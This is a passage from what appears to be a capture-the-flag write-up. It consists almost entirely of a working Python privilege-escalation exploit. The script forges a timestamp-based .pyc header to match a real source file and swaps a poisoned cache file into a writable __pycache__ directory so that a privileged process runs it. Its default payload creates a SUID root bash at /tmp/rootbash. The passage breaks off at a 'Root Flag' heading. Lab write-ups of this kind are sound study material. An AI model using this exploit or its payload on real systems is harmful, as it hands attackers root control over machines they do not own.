&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;patch_header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pyc_path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mtime&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    Rewrite the 16-byte PEP 552 timestamp-based .pyc header so its
    (mtime, size) fields match the real source file, while keeping the
    magic number (bytes 0-3) and flags (bytes 4-7) produced by this
    interpreter&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;s own compiler.

    Header layout (CPython 3.7+):
      offset  0-3  : magic number
      offset  4-7  : flags (bit 0 = hash-based pyc; we require 0 = timestamp-based)
      offset  8-11 : source mtime (little-endian uint32)
      offset 12-15 : source size  (little-endian uint32)
      offset 16-   : marshalled code object
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pyc_path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rb&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytearray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;RuntimeError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Compiled .pyc is smaller than the expected header size&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;flags&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;unpack_from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;I&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0x1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;RuntimeError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;This interpreter produced a hash-based pyc (PEP 552 flag bit 0 set); &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;this script only forges timestamp-based pyc headers.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pack_into&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;I&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mtime&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFFFFFFFF&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pack_into&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;I&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;argparse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ArgumentParser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Forge a __pycache__ .pyc to execute code in a privileged &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Python import, matching a real source file&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;s cache-validation header.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--source&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;required&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nb"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Path to the REAL .py source file the privileged process imports. &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Only read, never modified.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--target-pyc&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;required&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nb"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Path to WRITE the poisoned .pyc. Parent __pycache__ dir must be &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;writable; the file itself does not need to be.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--payload&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;os.system(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nb"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Python statement executed unconditionally at module import time. &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Default drops a SUID root bash to /tmp/rootbash.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--keep-func&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;append&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt;
        &lt;span class="n"&gt;metavar&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;NAME&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nb"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Function name the privileged script imports/calls from this module. &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Repeat for multiple names. A no-op stub is generated for each.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--dry-run&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;store_true&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nb"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Build and show the forged module/header info without writing &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;to --target-pyc.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;args&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse_args&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[-] Source file not found: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;mtime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;read_source_stat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Source: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;    mtime = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;mtime&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;mtime&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;    size  = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; bytes&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;py_text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;build_module_source&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keep_func&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;tempfile&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;TemporaryDirectory&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;workdir&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;compiled_pyc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;compile_module&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;py_text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mtime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;workdir&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Compiled malicious module -&amp;gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;compiled_pyc&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="n"&gt;forged&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;patch_header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;compiled_pyc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mtime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Patched pyc header to match source (mtime, size)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dry_run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] --dry-run set, not writing target pyc. Module source:&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;py_text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;

        &lt;span class="n"&gt;target_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dirname&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;target_pyc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isdir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target_dir&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[-] Target directory does not exist: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;target_dir&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="c1"&gt;# Write to a temp file in the same directory, then os.replace() over
&lt;/span&gt;        &lt;span class="c1"&gt;# the target. This only needs write permission on the DIRECTORY
&lt;/span&gt;        &lt;span class="c1"&gt;# (unlink + relink), not the target file itself - so it works even
&lt;/span&gt;        &lt;span class="c1"&gt;# when root has recompiled the .pyc and we can no longer truncate it
&lt;/span&gt;        &lt;span class="c1"&gt;# in place. Same mechanism as `mv`.
&lt;/span&gt;        &lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tmp_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tempfile&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;mkstemp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;dir&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;target_dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;prefix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.poison-&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fdopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;wb&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;forged&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp_path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;target_pyc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;unlink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;OSError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;pass&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt;

        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Wrote poisoned pyc -&amp;gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;target_pyc&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Done. Wait for the privileged process to import this module &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;again (cron tick, service restart, next invocation, etc.).&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  8. Root Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
